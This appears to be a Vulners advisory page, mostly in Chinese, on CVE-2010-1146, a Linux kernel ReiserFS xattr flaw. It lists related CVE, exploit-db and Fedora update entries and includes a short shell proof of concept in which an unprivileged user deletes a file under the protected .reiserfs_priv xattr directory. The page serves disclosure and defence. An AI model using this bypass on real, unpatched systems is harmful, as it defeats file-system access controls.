Linux Kernel ReiserFS文件系统实现绕过安全限制漏洞
| Reporter | Title | Published | Views | Family All 47 |
|---|---|---|---|---|
 | CVE-2010-1146 | 9 Apr 201000:00 | – | circl |
 | CVE-2010-1146 | 12 Apr 201018:00 | – | cve |
 | CVE-2010-1146 | 12 Apr 201018:00 | – | cvelist |
 | ReiserFS (Linux Kernel 2.6.34-rc3 / RedHat / Ubuntu 9.10) - 'xattr' Local Privilege Escalation | 9 Apr 201000:00 | – | exploitdb |
 | EUVD-2010-1177 | 7 Oct 202500:30 | – | euvd |
 | [SECURITY] Fedora 12 Update: kernel-2.6.32.12-115.fc12 | 18 May 201021:59 | – | fedora |
| [SECURITY] Fedora 12 Update: kernel-2.6.32.19-163.fc12 | 23 Aug 201022:02 | – | fedora |
| [SECURITY] Fedora 12 Update: kernel-2.6.32.21-166.fc12 | 2 Sep 201020:42 | – | fedora |
| [SECURITY] Fedora 12 Update: kernel-2.6.32.14-127.fc12 | 14 Jun 201017:13 | – | fedora |
| [SECURITY] Fedora 12 Update: kernel-2.6.32.16-141.fc12 | 13 Jul 201007:49 | – | fedora |
10
以root：
truncate --size 64M test.reiserfs
mkreiserfs -f test.reiserfs
mkdir /mnt/test
mount -o loop,rw,user_xattr test.reiserfs /mnt/test
setfattr -n user.test -v myvalue /mnt/test
以普通用户：
ls -l /mnt/test/.reiserfs_priv/xattrs/2.0
rm /mnt/test/.reiserfs_priv/xattrs/2.0/user.test # Whoops
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
12 Apr 2010 00:00Current
7.3High risk
Vulners AI Score7.3
EPSS0.01824